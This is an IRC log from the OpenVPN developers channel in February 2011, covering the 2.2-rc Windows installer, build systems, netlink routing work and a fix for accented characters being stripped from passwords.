bitwise operations is usually the quickest 11:25 < reiffert> sure. but for network masks it doesnt make sense to go further than the first 0. 11:25 < reiffert> even for bitshifting. 11:26 < reiffert> question is: bitshift and test on zero, or bitshift 31 times no matter what the first bit is. 11:26 < reiffert> guess the latter wins. 11:27 <@dazo> I would expect that the route implementation (user-space) needs to parse the netmask string into a struct which the kernel expect ... I'm pretty sure that the struct uses integers 11:27 <@dazo> the kernel will most probably dump the whole value into a register, and do register operations, bitwise ... 11:28 <@dazo> bitwise operations like AND, OR and XOR is usually what's used 11:29 * dazo goes for a little dinner 11:34 <+ecrist> is that angrygerman.com? 11:34 <+ecrist> reiffert: ? 12:01 <@mattock> openvpn service running fine now, with --enable-password-save 12:53 <@cron2> \o/ 12:58 <@dazo> \o/ 12:59 * dazo begins to smell success :) 12:59 <@mattock> start menu entries are not cleaned up afterwards and TAP driver install/uninstall fails for unknown reasons, but otherwise things a looking good 13:00 <@mattock> s/"a looking"/"are looking"/ 13:01 <@mattock> dazo: expect a boatload of patches :) 13:01 <@dazo> mattock: bring'em on! 13:01 <@dazo> It's about time to get that RC killed, once and for all! 13:01 <@dazo> :) 13:02 <@dazo> mattock: one thing 13:02 <@mattock> if I get the TAP driver issue fixed tomorrow, I think we should ask our users to test the installer during weekend 13:02 <@mattock> dazo: shoot 13:03 <@dazo> have a look at git send-email ... I can help you with that ... and when doing git format-patch, add --cover-letter 13:04 <@mattock> yeah, I need to do that... manually sending the emails is a pain 13:04 <@dazo> when doing that, and sending all patches via git send-email, they get nicely threaded 13:04 <@mattock> I suppose git send-email can use any email (SMTP) server I throw at it? 13:05 <@dazo> yupp 13:05 <@mattock> excellent! 13:05 <@dazo> even with login and SSL support too 13:06 <@mattock> definitely worth the effort with this many patches 13:06 <@dazo> yeah, it's a real time saver 13:07 <@mattock> I'll probably postpone some of the cleanups until 2.2-rc release 13:08 <@mattock> until after... 13:13 <@dazo> is it much to clean up? 13:13 <@dazo> we're so delayed now, so if we spend another 3-4 days to clean-up, I say clean-up first 13:24 * cron2 sides with dazo 13:41 < reiffert> ecrist: angrygerman.com? 13:41 <+ecrist> ignore me, it was a joke 13:41 < reiffert> ecrist: please explain 13:42 <+ecrist> you suggested you would post something to your site, I asked if your site was angrygerman.com 13:42 -!- s7r [~s7r@74.3.165.161] has left #openvpn-devel [] 13:43 < reiffert> ecrist: I dont have a site yet :) 13:44 < reiffert> maybe it will be storiesaboutshittyprogramm(er)s.com 13:44 <+ecrist> lol 13:46 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 13:49 -!- Dark-Fx [~bamcpher@dark-fx.com] has quit [Client Quit] 13:50 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 13:54 -!- dazo is now known as dazo_afk 14:26 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:54 -!- spike7 [spike7@unaffiliated/spike7] has joined #openvpn-devel 15:54 < spike7> hey, do you guys take questions about getting openvpn to work? 15:55 < spike7> if not, please point me in the right direction :) 16:04 <+krzee> development related = here, config related = #openvpn 16:04 < spike7> ah, thanks 16:04 <+krzee> np 16:05 -!- spike7 [spike7@unaffiliated/spike7] has left #openvpn-devel ["Leaving"] 16:05 <+krzee> o_0 16:09 < reiffert> wonder how he found here. 21:22 -!- dohkogt [c806edc2@gateway/web/freenode/ip.200.6.237.194] has joined #openvpn-devel 21:22 < dohkogt> hi every body 21:23 < dohkogt> how are you? 22:10 -!- dohkogt [c806edc2@gateway/web/freenode/ip.200.6.237.194] has quit [Quit: Page closed] 22:36 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Fri Feb 04 2011 01:00 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:20 <@mattock> installing the TAP driver now works 02:21 <@mattock> tap drivers are copied from openvpn-2.2-beta5-install.exe 02:52 -!- dazo_afk is now known as dazo 02:54 <@dazo> !learn git as git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git 02:54 <@vpnHelper> Joo got it. 02:54 <@dazo> !git 02:55 <@vpnHelper> "git" is git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git 02:55 <@dazo> learn git as Browse the git repository here: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary 02:55 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/summary (at openvpn.git.sourceforge.net) 02:55 <@dazo> !learn git as Browse the git repository here: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary 02:55 <@vpnHelper> Joo got it. 02:56 <@dazo> !learn snapshots as Weekly snapshots: ftp://ftp.secure-computing.net/pub/openvpn or ftp://ftp2.secure-computing.net/pub/openvpn 02:56 <@vpnHelper> Joo got it. 02:56 <@dazo> !git 02:56 <@vpnHelper> "git" is (#1) git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#2) Browse the git repository here: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary 02:56 <@dazo> !snapshot 02:56 <@dazo> !snapshots 02:56 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn, or (#2) Weekly snapshots: ftp://ftp.secure-computing.net/pub/openvpn or ftp://ftp2.secure-computing.net/pub/openvpn 02:56 <@dazo> !learn snapshot as See !snapshots 02:56 <@vpnHelper> Joo got it. 02:57 -!- dazo changed the topic of #openvpn-devel to: OpenVPN developers channel | For configuration and user support, please go to #openvpn | See !git and !snapshots for more info 02:58 -!- dazo [~dazo@openvpn/community/developer/dazo] has left #openvpn-devel ["Leaving"] 02:58 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:58 -!- mode/#openvpn-devel [+o dazo] by ChanServ 03:01 -!- dazo [~dazo@openvpn/community/developer/dazo] has left #openvpn-devel ["Leaving"] 03:01 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:01 -!- mode/#openvpn-devel [+o dazo] by ChanServ 03:02 <@dazo> Lets see if the a entry message and better phrased topic will redirect non-developer topics to the proper place 03:04 <@dazo> !learn meetings as OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 03:04 <@vpnHelper> Joo got it. 03:05 -!- dazo changed the topic of #openvpn-devel to: OpenVPN developers channel | For configuration and user support, please go to #openvpn | See !git, !snapshots or !meetings for more info 03:05 -!- ricky [~ricky@fedora/ricky] has left #openvpn-devel [] 04:17 <+krzee> how about an option for the server to say that the client may NOT use --enable-password-save 04:22 <@cron2> and how do you force an open source client to honour anything the server demands? 04:23 < psha> be polite? :) 04:27 <+krzee> cron2, well currently it listens to the server for things like keepalive... if you give keepalive rules and your server does too, then you use your servers 04:28 <+krzee> i know it couldnt really be enforced, but it would make more sense to give that if we start releasing the option default built in 04:28 <+krzee> then the person still has to build it themselves to override admin's wishes 04:53 <@dazo> I'd like to more see signed configuration files ... so that if a user modifies the local config file, it will be rejected ... then such an option makes more sense 04:54 <@dazo> and even if the application can manage to fingerprint itself with a signed signature, then you can't replace the binary as easily 04:55 <@dazo> but this is likely not going to be easy to implement 04:56 < psha> dazo: even if implemented it will be easily breaked - signed configs are better approach i think 04:57 <@dazo> yeah 04:57 < psha> at least with them you don't declare that you want to fight with windmills... 04:58 < psha> years ago i was implementing licence check in one proprietary product 04:58 <@dazo> but signed configs is also possible to hack-around ... build your own openvpn client which always returns "true" when checking the signature 04:58 < psha> dazo: check have to be done on server, however 'own' client may workaround it too 04:58 < psha> also true for 'signed' binary 04:59 < psha> build your own that gives server 'correct' signature 04:59 <@dazo> exactly 04:59 < psha> even sending salt/nonce to client does not make sense 04:59 <@dazo> you would need something (a binary) that the server can push over to the client, which investigates the environment and reports back 04:59 < psha> have correct binary laying around and compute hashes on it, not on self 05:00 < psha> and pushing binary code that may be executed is great hole :) 05:00 <@dazo> and that binary needs to be salted - on the fly - somehow, so that it can't be modified on the client 05:00 <@dazo> yeah, exactly ... security is a wormhole :) 05:01 < psha> every security check measure have simmetrical anwser - being involved in this race will take much resources and lead to nothing... 05:02 < psha> surely in case that somebody is interested in breaking this :) 05:02 <@dazo> agreed 05:02 < psha> my point is that providing _some_ measures with clear state where they ends is better then trying to build 'unbreakable' one 05:03 <@dazo> the only thing you can trust, are the services you have physical control of ... which means the openvpn server ... so all security needs to be tackled there, basically 05:04 < psha> so you may say 'hey, admin, we provide you with some tools but you have to kick you users on head on your own if they try to break binaries' 05:04 <@dazo> isn't that called "policy"? 05:04 < psha> yes :) 05:04 <@dazo> :) 05:38 <@mattock> "Please test openvpn-2.2-rc-install-preview-1.exe" mail sent to -devel 05:54 <@mattock> I think I'll setup my own WinXP 32-bit test VM before 2.2-final is out 05:55 <@dazo> mattock: great!!!!! 05:56 * dazo decides to do a wine test on it 05:59 <@dazo> mattock: quick install feedback from wine .... I tried the "View README" which you said doesn't work ... maybe this gives a clue? 05:59 <@dazo> fixme:actctx:parse_depend_manifests Could not find dependent assembly L"Microsoft.VC90.CRT" (9.0.21022.8) 06:00 <@dazo> $ wine openvpn.exe --version 06:00 <@dazo> OpenVPN 2.2-rc Win32-MSVC++ [SSL] [LZO2] built on Feb 4 2011 06:00 <@dazo> Originally developed by James Yonan 06:00 <@dazo> Copyright (C) 2002-2010 OpenVPN Technologies, Inc. <sales@openvpn.net> 06:00 <@dazo> config_all.py 06:00 <@dazo> Compile time defines: ENABLE_HTTP_PROXY=1, ENABLE_DEBUG=1, ENABLE_MANAGEMENT=1, ENABLE_CLIENT_SERVER=1, ENABLE_PASSWORD_SAVE=1, ENABLE_SOCKS=1, ENABLE_FRAGMENT=1, 06:03 <@dazo> tapinstall.exe: PE32+ executable for MS Windows (console) Mono/.Net assembly 06:03 <@dazo> mattock: ^^^ tapinstall is a .Net app now? could that be the issue? 06:12 -!- s7r [~s7r@74.3.165.161] has joined #openvpn-devel 06:39 <@mattock> I don't think the "dependent assembly" error is related to the "View README", but could be wrong 06:39 <@mattock> tapinstall.exe = devcon.exe 06:40 <@mattock> which is MS tool to install drivers from the command-line 06:40 -!- s7r [~s7r@74.3.165.161] has left #openvpn-devel [] 06:40 <@mattock> afaik it's not even redistributable, but I could be wrong 06:45 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 07:02 <+ecrist> good morning 07:27 <@dazo> mattock: I think you're right ... I've seen that message also on other of the binaries as well, and they do function 07:28 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 07:31 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 08:03 <@mattock> good morning ecrist 08:07 <@mattock> dazo: now that I think of it, the "Could not find dependent assembly L"Microsoft.VC90.CRT" (9.0.21022.8)" is probably triggered by the external manifest files 08:08 <@dazo> yeah, probably ... can the be integrated somehow? 08:08 <@mattock> well, I think the external manifest files could be dumped altogether... the DLLs and EXEs usually have an internal manifest 08:09 <@mattock> which takes preference depends on the OS (and some other factors) 08:09 <@mattock> the issue I was trying to fix with the manifests was not related to them - or so it seems 08:09 <@mattock> rather, it was caused by a bad msvcrt90.dll... the one in openvpn-2.2-beta5 seemed to work 08:12 <@dazo> ahh, okay 08:13 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 08:13 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 08:17 <@mattock> jamesyonan: if you can, please test this installer on WinXP/VIsta 32/64-bit: http://build.openvpn.net/downloads/releases/openvpn-2.2-rc-install-preview-1.exe 08:17 <@mattock> I mailed to -devel about that already 09:01 -!- s7r [~s7r@74.3.165.161] has joined #openvpn-devel 09:39 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 13:35 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 13:35 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 13:35 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 13:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:38 -!- dazo is now known as dazo_afk 16:38 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has quit [Ping timeout: 260 seconds] 17:08 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 17:15 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has quit [Ping timeout: 272 seconds] 17:17 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 19:55 -!- s7r [~s7r@74.3.165.161] has left #openvpn-devel [] 20:46 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 23:14 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Sat Feb 05 2011 03:53 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 03:53 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 03:53 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 03:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:28 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 06:39 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:44 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:44 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:46 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 19:33 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 240 seconds] 19:42 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 22:29 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 22:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Sun Feb 06 2011 00:04 < EO_> hrm, is mroute_addr.len in bits or bytes? 00:04 * EO_ assumes bytes. 01:55 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:24 < EO_> egads. I believe I've unravelled rtnetlink insanity. the data stream contains the following structrues, in order: struct nlmsghdr, struct rtmsg, struct rtattr, char data[] 02:25 < EO_> that's 4 protocol layers, just to get a route from the kernel. 04:52 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 04:56 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 06:05 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 06:10 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 10:58 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:58 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:40 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has quit [Quit: le' sigh] 12:45 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 12:47 -!- Dark-Fx [~bamcpher@dark-fx.com] has quit [Remote host closed the connection] 13:50 -!- Dark-Fx [~bamcpher@rt.fxaffinity.com] has joined #openvpn-devel 14:34 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 14:34 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 14:34 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:35 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 14:48 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:16 -!- jamesyonan_ [~jamesyona@ec2-184-72-151-73.compute-1.amazonaws.com] has joined #openvpn-devel 15:16 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 15:19 < EO_> !meetings 15:19 <@vpnHelper> "meetings" is (#1) See https://community.openvpn.net/openvpn/wiki/IrcMeetings, or (#2) OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 15:21 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 260 seconds] 15:21 -!- jamesyonan_ is now known as jamesyonan 15:25 -!- jamesyonan_ [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 15:25 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 15:28 -!- jamesyonan [~jamesyona@ec2-184-72-151-73.compute-1.amazonaws.com] has quit [Ping timeout: 255 seconds] 15:28 -!- jamesyonan_ is now known as jamesyonan 16:04 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 17:07 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 17:10 -!- sercn [~Jazmine@41.73.14.242] has joined #openvpn-devel 17:11 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 17:20 -!- sercn [~Jazmine@41.73.14.242] has quit [] 17:36 < EO_> How do you include a new file in openvpn's autoconf thing properly :/ I've never used it before. 19:15 < EO_> yeesh finally figured it out. doesn't help that libnetlink.h doesn't include everything it needs internally. crappy code. 19:24 < EO_> -lssl -lcrypto -llzo2 -ldl <-- where do you add an extra lib? autoconf > me. 19:34 <+ecrist> -llib 19:35 <+ecrist> -lextralib 20:00 < EO_> well yeah 20:00 < EO_> but how to integrate it into the autoconf system properly I mean, so it makes it into the Makefile eventually 20:16 < EO_> sigh, I think I'm starting to see the 100 or so lines that must be written to add "-llibnetlink" 22:51 -!- jamesyonan_ [~jamesyona@208.43.3.119] has joined #openvpn-devel 22:51 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 22:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 22:53 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 22:53 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 22:56 -!- jamesyonan__ [~jamesyona@208.43.3.119] has joined #openvpn-devel 22:56 -!- mode/#openvpn-devel [+o jamesyonan__] by ChanServ 22:56 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 22:56 -!- jamesyonan_ [~jamesyona@208.43.3.119] has quit [Ping timeout: 260 seconds] 22:56 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 22:57 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 23:00 -!- jamesyonan__ [~jamesyona@208.43.3.119] has quit [Ping timeout: 245 seconds] 23:13 -!- jamesyonan_ [~jamesyona@ec2-50-16-46-82.compute-1.amazonaws.com] has joined #openvpn-devel 23:13 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 23:15 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 246 seconds] 23:15 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 23:15 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 23:17 -!- jamesyonan_ [~jamesyona@ec2-50-16-46-82.compute-1.amazonaws.com] has quit [Ping timeout: 240 seconds] 23:32 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 23:33 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Remote host closed the connection] 23:33 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 23:33 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 23:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Remote host closed the connection] 23:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 23:34 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 23:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has left #openvpn-devel [] --- Day changed Mon Feb 07 2011 02:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:09 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 02:11 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 02:19 <@mattock> hmm, nobody has reported back anything about the 2.2-rc installer 02:26 <@mattock> oh, jjk did, missed it somehow 02:44 -!- dazo_afk is now known as dazo 03:11 <@dazo> EO_: you need to add that extra linking stuff in configure.ac, iirc ... you need to add a check for libnl, and then ... search for PLUGINS in configure.ac, and you might get the idea 04:04 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 265 seconds] 05:28 < EO_> dazo: I kinda copied the pattern from lzo2 in configure.ac, and added a new option, --enable-hostroute. 05:45 <@dazo> EO_: ahh, yeah, that might be just as well a good path 05:45 <@dazo> Just wondering if --enable-libnl would be more appropriate than --enable-hostroute 06:24 < EO_> Well, the feature I'm working on is to reference the host's routing table. looking at netlink (by way of libnetlink btw, not libnl/libnl2) is just a byproduct. 06:24 < EO_> Also, why am I still awake 06:25 < EO_> I'm in UTC-8 06:25 < EO_> night :) 06:46 <+ecrist> someone kill me 06:49 <@cron2> could someone remind me why we do python builds for windows? 06:50 <@dazo> cron2: I *guess* it is to better be able to support Visual C building 06:50 <@cron2> so far all it has caused it "8 weeks delay and lots of pain for mattock" 06:50 <@dazo> to use a native and officially supported Microsoft compiler 06:50 <@dazo> agreed 07:32 <@mattock> cron2, dazo: actually James uses the Python-based buildsystem also for the Access Server client 07:32 <@mattock> I guess that's one of the main motivations for him 07:33 <@mattock> I don't know how well the autotools buildsystem works on Windows, but I too fail to see the point in the new buildsystem 07:33 <@mattock> especially if the only issue is not being able to sign the TAP drivers automatically 07:34 <@mattock> however, I don't know how many hoops James has to jump through to make a new release... 07:40 <@dazo> For the openvpn community edition, I don't see strong arguments for python build tools ... *except* if it can make it easier for Visual Studio users to build OpenVPN ... however, I'm reluctant to kick out/not support any more autotools build support for Windows 07:41 <@dazo> I would *rather* like to see the python based build platform being separated out of the git tree, into a separate tree ... so that the community version can focus on autotools, and special interested people can play with python build - thus not binding source code revision such a mess as it easily can become now 07:43 <@dazo> I also know others are not happy about splitting out the Windows TAP driver from our source tree ... but I seriously think we should do that as well ... again, to avoid the release mess which we have with Windows builds ... a new tap driver should never enforce a new version number of openvpn 07:46 <@dazo> (the python based tree, can use openvpn-testing.git and the (future) windows-tuntap.git as submodules ... git clone python-build ; cd python-build ; git submodule init ; git submodule update .... and you have all the source code pulled down) 07:59 -!- s7r [~s7r@89.39.174.74] has joined #openvpn-devel 08:48 <@mattock> I think the Python buildsystem could be driven with free (as in beer) tools... I think the Pro (or whatever) edition of Visual Studio is only required because of driver signing 08:49 <@mattock> though I agree that autotools should be supported on Windows, unless it's really, really painful 08:51 <@dazo> yeah, but from what I gather now ... it seems like the Python road is yet more painful with more surprising dependencies than autotools ... but I might be wrong 09:27 <@mattock> I think the autotools buildsystem is better for us, because most / all of our devs are *NIX guys anyways 09:27 <@mattock> and the new buildsystem is not even integrated to Visual Studio (IDE), so Windows devs won't benefit much from it 09:27 <@mattock> it just drives the visual studio command-line tools 09:28 <@mattock> with proper VS integration - which is probably a terrible pain to achieve - Windows devs might get interested 09:28 <@mattock> anyways, I'll try to setup a WinXP VM tomorrow and start fixing the installer 09:29 <@mattock> I'm sure the next preview is out on Thu-Fri 09:37 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 09:37 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 09:37 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 09:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:54 -!- Hartimer [~peixoto@gw.identity.pt] has joined #openvpn-devel 09:55 < Hartimer> afternoon 09:56 <+krzee> [07:51] <krzee> Hartimer, when you say password what exactly do you mean? 09:56 <+krzee> [07:51] <krzee> that cn be taken quite a few ways when talking about ovpn... 09:56 <+krzee> [07:51] <krzee> can* 09:56 <+krzee> [07:52] <Hartimer> krzee, ah ok. so, my config asks for username/password. i mean that password 09:56 <+krzee> [07:52] <Hartimer> the credentials are created elsewhere 09:56 <+krzee> [07:52] <krzee> ahh ok 09:56 <+krzee> [07:53] <Hartimer> i searched the source code. it does not allow for those caracters because they fail to pass the "isprint" condition 09:56 -!- krzee was kicked from #openvpn-devel by vpnHelper [Flooding detected. Please use http://openvpn.pastebin.ca for posting logs or configs.] 09:56 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 09:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:57 <+krzee> [07:54] <Hartimer> krzee, exactly 09:57 <+krzee> [07:54] <krzee> ok, you belong in #openvpn-devel =] 09:57 <+krzee> Hartimer, you will wanna idle here for around a day ;] 09:57 < Hartimer> i was typing that but ty :) 09:57 < Hartimer> i will 09:57 < Hartimer> np 09:57 * dazo looks up 09:57 < Hartimer> thks m8 :) 09:57 <+krzee> ahh you caught dazo... lucky =] 09:58 < Hartimer> lovely :D 09:58 <@dazo> Hartimer: where in the code do you see that string check? 09:58 < Hartimer> dazo, buffer.c line 706 09:58 < Hartimer> src from 2.1.4 09:59 <@dazo> yeah, that function is a pretty generic function though, it needs to get called from somewhere ... related to --user-pass-auth ... 09:59 < Hartimer> ah 09:59 < Hartimer> sec please 09:59 <@dazo> do you use a C plug-in or is it the script? 10:00 <@dazo> script *interface, I meant 10:01 < Hartimer> dazo, i'm not sure i understand what you said 10:01 < Hartimer> :q 10:01 < Hartimer> ups 10:01 < Hartimer> that was for vim 10:02 < Hartimer> on misc.c line 1486, fiunction "get_user_pass", a "string_mod" is performed 10:02 <@dazo> no worries ... I was wondering if you are using a plug-in with OpenVPN (--plugin in the config) or using --auth-user-pass-verify <script> on the server 10:02 < Hartimer> that modification removes chars like ç, á, ã, because of the condition previously mentioned 10:03 <@dazo> yeah, the default is to remove such chars, to be 7bit clean ... however, that's troublesome outside the rest of the non-english speaking world 10:03 < Hartimer> dazo, no, i use a script on the server side to check the credentials against an active directory, but that is done server side, and the password gets there "deformed" already 10:03 <@dazo> aha! that's interesting 10:03 <@dazo> I expected it to happen on the server side :) 10:04 < Hartimer> exactly... in theory there should be a "isprint_l" function where you could specify the locale you want 10:04 < Hartimer> but apparently glibc was changed recently, and some structs (__ctype_b) were discontinued 10:04 < Hartimer> and that function is broke now 10:05 <@dazo> But isn't the normal isprint() function now using the locale settings by default now? 10:06 < Hartimer> it is, as far as i can tell 10:06 < Hartimer> the problem however is that clients are not using multiple locales 10:06 < Hartimer> *are using multiple locales i mean 10:06 <@dazo> mm 10:07 -!- s7r [~s7r@89.39.174.74] has left #openvpn-devel [] 10:07 < Hartimer> i tried changing the string_mod argument from "CC_PRINT" to "CC_ANY" 10:07 < Hartimer> it works, but i'm not sure of the security implications 10:08 <@dazo> Hartimer: I'm wondering if the proper solution would be to add an option, f.ex. --locale which calls setlocale() ... which can be put into the config file, that way all the isprint() functions should work, independently of the system locale if overridden 10:09 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 10:09 <@dazo> the issue with CC_ANY, is that, in theory at least, it might be possible to send escape codes which will make your shell script doing the user/pass auth check execute arbitrary code on your server 10:10 <@dazo> f.ex ... download a another shell script which is run, which might modify your firewall - start new daemons, set a password for the process running openvpn, etc, etc .... and thus give open up a backdoor 10:11 < Hartimer> that is not desirable at all :) 10:11 < Hartimer> i'm gonna check "setlocale" 10:11 < Hartimer> such option should be added where btw? 10:11 < Hartimer> file wise i mean 10:12 <@dazo> you would need to add it into options.c and then there's a option struct which needs to have the value ... and then probably add the setlocale in main() in openvpn.c 10:13 < Hartimer> k. thks dazo , gonna try that approach 10:13 <@dazo> or ... it might be you can do the setlocale() already in options.c ... but however, it's good to have it as a variable as well ... to make --verb 4 list the locale setting 10:14 <@dazo> init_static() seems to be a good place to put it setlocale() 10:15 <@dazo> (wow that function could need some clean-up) 10:15 < Hartimer> lol indeed! 10:16 <@dazo> I'm gonna bug james about all those #ifdef *_TEST which all returns false if enabled ... 10:19 <@dazo> Hartimer: feel free to move all those #ifdef *_TEST blocks into a function in a new file called unittest.c ... and maybe call that function from init_static() to start with, and we'll improve this later on 10:20 < Hartimer> dazo, i'm thinking of adding setlocale right at the begining of the function, not getting too much into the mess :x 10:20 <@dazo> btw ... please, pull down the git tree ... you can use the beta2.2 branch for now for your setlocale() stuff when sending a patch to the -devel mailing list 10:20 < Hartimer> i can't, i have a restriction of having to use 2.1ish 10:20 <@dazo> Hartimer: somewhere before #ifdef PID_TEST is probably a decent place 10:21 <@dazo> Hartimer: well, I get quite grumpy when having to forward port patches to the beta2.2 branch ... as we're trying to get 2.2-RC out the door these days 10:22 <@dazo> but if you do that job for me, I'll get that tackled and will more easily be able to ACK your patch for inclusion to the git tree 10:22 < Hartimer> hehe i totally understand that :) i'll make the change in my personal pc when i get home 10:23 <@dazo> thx a lot! :) 10:23 <@dazo> krzee: thx for the redirect of Hartimer ... that was spot-on 10:23 <+krzee> =] 10:53 < Hartimer> uhm 10:53 < Hartimer> setlocale isn't doing the trick :/ 